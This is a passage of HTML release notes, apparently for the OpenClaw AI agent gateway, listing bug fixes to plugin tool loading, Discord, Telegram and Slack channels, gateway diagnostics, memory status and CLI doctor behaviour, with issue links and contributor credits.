href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Docs/WhatsApp: merge the duplicate top-level <code>web</code> objects in the gateway channel config example so copy-pasted WhatsApp config keeps both <code>web.whatsapp</code> and reconnect settings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371502896" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76619" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76619/hovercard" href="https://github.com/openclaw/openclaw/issues/76619">#76619</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>.</p>
</li>
<li>
<p>Plugins/Anthropic: expose Claude thinking profiles from the bundled provider-policy artifact so non-runtime callers keep Opus 4.7 <code>adaptive</code>, <code>xhigh</code>, and <code>max</code> instead of downgrading to <code>high</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372204983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76779" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76779/hovercard" href="https://github.com/openclaw/openclaw/issues/76779">#76779</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomascupr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomascupr">@tomascupr</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iAbhi001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iAbhi001">@iAbhi001</a>.</p>
</li>
<li>
<p>Plugins/tools: honor <code>tools.alsoAllow</code> as an optional plugin tool discovery hint without treating its internal allow-all default as permission to load every manifest-marked optional plugin tool. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371480161" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76616" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76616/hovercard" href="https://github.com/openclaw/openclaw/issues/76616">#76616</a>.</p>
</li>
<li>
<p>Discord/native commands: skip slash-command registration and cleanup REST calls when <code>channels.discord.commands.native=false</code>, letting low-power gateways start without waiting on disabled native-command lifecycle requests. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369686252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76202" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76202/hovercard" href="https://github.com/openclaw/openclaw/issues/76202">#76202</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/plugins: reject unowned command roots such as <code>openclaw foo</code> before managed proxy startup and full plugin CLI runtime loading while preserving manifest-owned and CLI-metadata-owned plugin commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361630008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75287" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75287/hovercard" href="https://github.com/openclaw/openclaw/issues/75287">#75287</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neilofneils404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neilofneils404">@neilofneils404</a>.</p>
</li>
<li>
<p>CLI/message: skip local configured-channel plugin preload for explicit gateway-owned message actions, letting normalized CLI delivery delegate to the gateway without initializing channel runtime in the short-lived CLI process. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363198122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75477/hovercard" href="https://github.com/openclaw/openclaw/issues/75477">#75477</a>.</p>
</li>
<li>
<p>Plugins/commands: normalize empty plugin command handler results and let Telegram native plugin commands send the empty-response fallback instead of throwing when a handler returns <code>undefined</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355136227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74800" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74800/hovercard" href="https://github.com/openclaw/openclaw/issues/74800">#74800</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/tools: cold-load selected plugin tool registries when the active registry only has partial tool coverage, so wildcard-expanded allowlists no longer hide installed plugin tools from <code>tools.effective</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372207787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76780" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76780/hovercard" href="https://github.com/openclaw/openclaw/issues/76780">#76780</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lilesjtu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lilesjtu">@lilesjtu</a>.</p>
</li>
<li>
<p>Plugins/tools: compare cached and runtime plugin tool name conflicts with normalized core tool names, so case variants of core tools are blocked instead of leaking duplicate tool registrations. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/OpenRouter: advertise DeepSeek V4 thinking levels, including <code>xhigh</code> and <code>max</code>, through the runtime and lightweight provider policy surfaces so <code>/think</code> validation no longer rejects OpenRouter-routed DeepSeek V4 models. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355101928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74788" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74788/hovercard" href="https://github.com/openclaw/openclaw/issues/74788">#74788</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Status/sessions: ignore malformed non-string persisted session provider/model metadata instead of throwing while rendering status summaries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369700535" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76206/hovercard" href="https://github.com/openclaw/openclaw/issues/76206">#76206</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/config: remove only the targeted array element for <code>openclaw config unset array[index]</code> instead of replaying the unset during config write and deleting the shifted next element. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370277739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76290" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76290/hovercard" href="https://github.com/openclaw/openclaw/issues/76290">#76290</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/voice-call: treat abnormal local Gateway close code 1006 as a standalone CLI fallback case, so <code>voicecall smoke</code> and related commands can still run the provider check path when the Gateway socket closes before returning a response.</p>
</li>
<li>
<p>CLI/doctor: migrate legacy per-channel <code>streaming.progress</code> config into <code>streaming.preview.toolProgress</code>, so upgrades with stale Discord or Telegram streaming keys validate again instead of blocking plugin commands.</p>
</li>
<li>
<p>Plugins/release: reject ClawHub code-plugin packages that contain TypeScript runtime entries without compiled <code>dist/*.js</code> output, and run package-local runtime-build checks during npm and ClawHub plugin release previews.</p>
</li>
<li>
<p>Plugins/update: keep beta-installed OpenClaw package updates on the beta plugin channel even when config still says stable, so Discord and other externalized plugins update from compiled <code>@beta</code> packages instead of stale source-only <code>latest</code> artifacts.</p>
</li>
<li>
<p>Agents/tools: stop treating <code>tools.deny: ["write"]</code> as an implicit <code>apply_patch</code> deny; operators who want to block patch writes should deny <code>apply_patch</code> or <code>group:fs</code> explicitly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372125703" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76749" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76749/hovercard" href="https://github.com/openclaw/openclaw/issues/76749">#76749</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372261939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76795" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76795/hovercard" href="https://github.com/openclaw/openclaw/pull/76795">#76795</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nek-12/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nek-12">@Nek-12</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugins/release: verify published plugin npm tarballs expose compiled runtime entries after publish, catching TS-only package artifacts before release closeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/message: exit cleanly with a nonzero status when message-command plugin registry loading fails before dispatch, preventing <code>openclaw-message</code> children from staying alive after plugin load errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369518725" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76168" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76168/hovercard" href="https://github.com/openclaw/openclaw/issues/76168">#76168</a>.</p>
</li>
<li>
<p>Plugins/config: report configured plugins that are present but blocked by path-safety checks as blocked instead of stale <code>plugin not found</code> entries, and deduplicate repeated blocked-candidate warnings during discovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369376180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76144" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76144/hovercard" href="https://github.com/openclaw/openclaw/issues/76144">#76144</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mayank6136/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mayank6136">@mayank6136</a>.</p>
</li>
<li>
<p>Gateway/update: recover an installed-but-unloaded macOS LaunchAgent after package updates, rerun Gateway health/version/channel readiness checks, and print restart, reinstall, and rollback guidance before reporting update failure. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372245183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76790" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76790/hovercard" href="https://github.com/openclaw/openclaw/pull/76790">#76790</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonathanlindsay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonathanlindsay">@jonathanlindsay</a>.</p>
</li>
<li>
<p>CLI/plugins: explain when a missing plugin command alias belongs to a bundled plugin that is disabled by default, including the <code>openclaw plugins enable &lt;plugin&gt;</code> repair command. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372434646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76835/hovercard" href="https://github.com/openclaw/openclaw/pull/76835">#76835</a>)</p>
</li>
<li>
<p>Gateway/Bonjour: auto-start LAN multicast discovery only on macOS hosts while preserving explicit <code>openclaw plugins enable bonjour</code> startup elsewhere, so Linux servers and containers that do not need LAN discovery avoid default mDNS probing and watchdog churn. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348958904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74209/hovercard" href="https://github.com/openclaw/openclaw/issues/74209">#74209</a>.</p>
</li>
<li>
<p>Gateway/macOS: stop <code>doctor</code> and LaunchAgent recovery from running <code>launchctl kickstart -k</code> after a fresh bootstrap, avoiding an immediate SIGTERM of the just-started gateway while still nudging already-loaded launchd jobs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370027099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76261" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76261/hovercard" href="https://github.com/openclaw/openclaw/issues/76261">#76261</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solosage1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solosage1">@solosage1</a>.</p>
</li>
<li>
<p>Google Meet: route stateful CLI session commands through the gateway-owned runtime so joined realtime sessions survive after the starting CLI process exits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370516508" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76344" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76344/hovercard" href="https://github.com/openclaw/openclaw/issues/76344">#76344</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coltonharris-wq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coltonharris-wq">@coltonharris-wq</a>.</p>
</li>
<li>
<p>Memory/status: split builtin sqlite-vec store readiness from embedding-provider readiness in <code>memory status --deep</code> and <code>openclaw status</code>, so local vector-store failures no longer look like provider failures and provider failures no longer hide a healthy local vector store.</p>
</li>
<li>
<p>CLI/doctor: trust a ready gateway memory probe when CLI-side active memory backend resolution is unavailable, preventing false "No active memory plugin is registered" warnings for healthy runtime setups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372247083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76792" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76792/hovercard" href="https://github.com/openclaw/openclaw/issues/76792">#76792</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/som-686/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/som-686">@som-686</a>.</p>
</li>
<li>
<p>Memory/status: keep plain <code>openclaw memory status</code> and <code>openclaw memory status --json</code> on the cheap read-only path by reserving vector and embedding provider probes for <code>--deep</code> or <code>--index</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372172451" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76769" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76769/hovercard" href="https://github.com/openclaw/openclaw/issues/76769">#76769</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daruire/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daruire">@daruire</a>.</p>
</li>
<li>
<p>Telegram: suppress stale same-session replies when a newer accepted message arrives before an older in-flight Telegram dispatch finalizes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371606977" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76642" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76642/hovercard" href="https://github.com/openclaw/openclaw/issues/76642">#76642</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chinar-amrutkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chinar-amrutkar">@chinar-amrutkar</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: throttle repeated long-running active-work session warnings so healthy cron or subagent runs no longer print the same <code>recovery=none</code> line every heartbeat.</p>
</li>
<li>
<p>Gateway/diagnostics: keep non-blocking active-work and transient event-loop max-spike liveness diagnostics out of the default gateway console while preserving structured diagnostic events and warnings for queued, stalled, and recovery-eligible work.</p>
</li>
<li>
<p>Slack: collapse routine Socket Mode pong-timeout reconnects into one OpenClaw reconnect line and suppress the duplicate Slack SDK pong warning.</p>
</li>
<li>
<p>Gateway/diagnostics: abort-drain embedded runs after an extended no-progress stall so a single dead session no longer leaves queued Discord/channel turns blocked behind repeated <code>recovery=none</code> liveness warnings.</p>
</li>
<li>
<p>Plugins/ClawHub: accept the live artifact resolver <code>kind</code>/<code>sha256</code> field names alongside the typed <code>artifactKind</code>/<code>artifactSha256</code> form so <code>clawhub:</code> installs of npm-pack and legacy ZIP packages no longer miss downloadable artifacts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</p>
</li>
<li>
<p>Control UI/Sessions: avoid full <code>sessions.list</code> reloads for chat-turn <code>sessions.changed</code> payloads, so large session stores no longer add multi-second delays while chat responses are being delivered. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371812018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76676" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76676/hovercard" href="https://github.com/openclaw/openclaw/pull/76676">#76676</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Gateway/watch: run <code>doctor --fix --non-interactive</code> once and retry when the dev Gateway child exits during startup, so stale local plugin install/config state does not leave the tmux watch session disappearing without a repair attempt.</p>
</li>
<li>
<p>Doctor/Telegram: warn when selected Telegram quote replies can suppress <code>streaming.preview.toolProgress</code>, and document the <code>replyToMode</code> trade-off without changing runtime delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342354447" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73487/hovercard" href="https://github.com/openclaw/openclaw/issues/73487">#73487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>.</p>
</li>
<li>
<p>Channels/Discord: send a best-effort native typing cue immediately after an inbound DM is accepted, so slow pre-dispatch turns show Discord liveness before queueing, context assembly, model, or tool work starts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370775422" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76417/hovercard" href="https://github.com/openclaw/openclaw/issues/76417">#76417</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mlopez14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mlopez14">@mlopez14</a>.</p>
</li>
<li>
<p>Plugins/install: reject source-only TypeScript package installs and installed plugin packages that are missing compiled runtime output, so broken npm artifacts fail at install/discovery time instead of falling through jiti and surfacing later as unavailable providers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372027509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76720" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76720/hovercard" href="https://github.com/openclaw/openclaw/issues/76720">#76720</a>.</p>
</li>
<li>
<p>Plugins/config: deduplicate identical manifest compatibility diagnostics when an explicitly configured plugin overrides another discovered candidate, so external channel plugins do not print the same missing <code>channelConfigs</code> warning repeatedly during install and enable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/status: honor explicit <code>messages.statusReactions.enabled: true</code> in tool-only guild channels so queued ack reactions can progress through thinking/done lifecycle reactions instead of stopping at the initial emoji. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>.</p>
</li>
<li>
<p>Discord/native commands: compare Discord-normalized slash-command descriptions and localized descriptions during reconcile so CJK or multiline command text no longer triggers redundant startup PATCH bursts and rate-limit 429s. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371364237" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76587/hovercard" href="https://github.com/openclaw/openclaw/issues/76587">#76587</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhengsx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhengsx">@zhengsx</a>.</p>
</li>
<li>
<p>Agents/OpenAI: omit Chat Completions <code>reasoning_effort</code> for <code>gpt-5.4-mini</code> only when function tools are present while preserving tool-free Chat and Responses reasoning support, preventing Telegram-routed fallback runs from hanging after OpenAI rejects tool payloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369566121" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76176/hovercard" href="https://github.com/openclaw/openclaw/issues/76176">#76176</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ThisIsAdilah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ThisIsAdilah">@ThisIsAdilah</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chinar-amrutkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chinar-amrutkar">@chinar-amrutkar</a>.</p>
</li>
<li>
<p>Telegram: reuse the successful startup <code>getMe</code> probe for grammY polling startup and continue into <code>getUpdates</code> after recoverable <code>deleteWebhook</code> cleanup failures, reducing high-latency Bot API control-plane calls before long polling starts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370661964" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76388" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76388/hovercard" href="https://github.com/openclaw/openclaw/issues/76388">#76388</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackiedepp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackiedepp">@jackiedepp</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: merge session id/key aliases in diagnostic session state and activity tracking so completed runs no longer leave stale queued work behind that keeps liveness samples at warning level.</p>
</li>
<li>
<p>Agents/models: forward model <code>maxTokens</code> as the default output-token limit for OpenAI-compatible Responses and Completions transports when no runtime override is provided, preventing provider defaults from silently truncating larger outputs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371660728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76645" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76645/hovercard" href="https://github.com/openclaw/openclaw/pull/76645">#76645</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeyfrasier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeyfrasier">@joeyfrasier</a>.</p>
</li>
<li>
<p>macOS CLI/onboarding: honor sensitive wizard text steps in <code>openclaw-mac wizard</code> with termios no-echo input, suppressing saved credential previews while preserving long API keys and gateway tokens. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371933405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76698/hovercard" href="https://github.com/openclaw/openclaw/issues/76698">#76698</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anurag-bg-neu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anurag-bg-neu">@anurag-bg-neu</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Control UI/Skills: fix skill detail modal silently failing to open in all browsers by deferring <code>showModal()</code> until the dialog element is connected to the DOM; the Lit <code>ref</code> callback fired before connection causing a <code>DOMException: HTMLDialogElement.showModal: Dialog element is not connected</code> on every skill click. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickmopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickmopen">@nickmopen</a>.</p>
</li>
<li>
<p>Gateway/update: run <code>doctor --non-interactive --fix</code> after Control UI global package updates before reporting success, so legacy config is migrated before the gateway restart. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenchouai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenchouai">@stevenchouai</a>.</p>
</li>
<li>
<p>Gateway/cron: stop a lazy cron startup that loses a hot-reload race, preventing the old cron service from starting after reload has already replaced cron state.</p>
</li>
<li>
<p>CLI/plugins: warn when npm plugin installs remain shadowed by a failing config-selected source and surface the repair path in <code>plugins doctor</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LindalyX-Lee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LindalyX-Lee">@LindalyX-Lee</a>.</p>
</li>
<li>
<p>Agents/Telegram: preserve explicit reply and quote context in embedded model prompts without letting quoted text drive prompt-local image loading. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370779315" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76419" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76419/hovercard" href="https://github.com/openclaw/openclaw/issues/76419">#76419</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371728761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76659" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76659/hovercard" href="https://github.com/openclaw/openclaw/pull/76659">#76659</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cheechnd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cheechnd">@cheechnd</a>.</p>
</li>
<li>
<p>Active Memory: apply <code>setupGraceTimeoutMs</code> to the embedded recall runner as well as the outer prompt-build watchdog, so very-cold first recalls keep the configured setup grace end-to-end. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352275748" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74480/hovercard" href="https://github.com/openclaw/openclaw/pull/74480">#74480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/volcano303/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/volcano303">@volcano303</a>.</p>
</li>
<li>
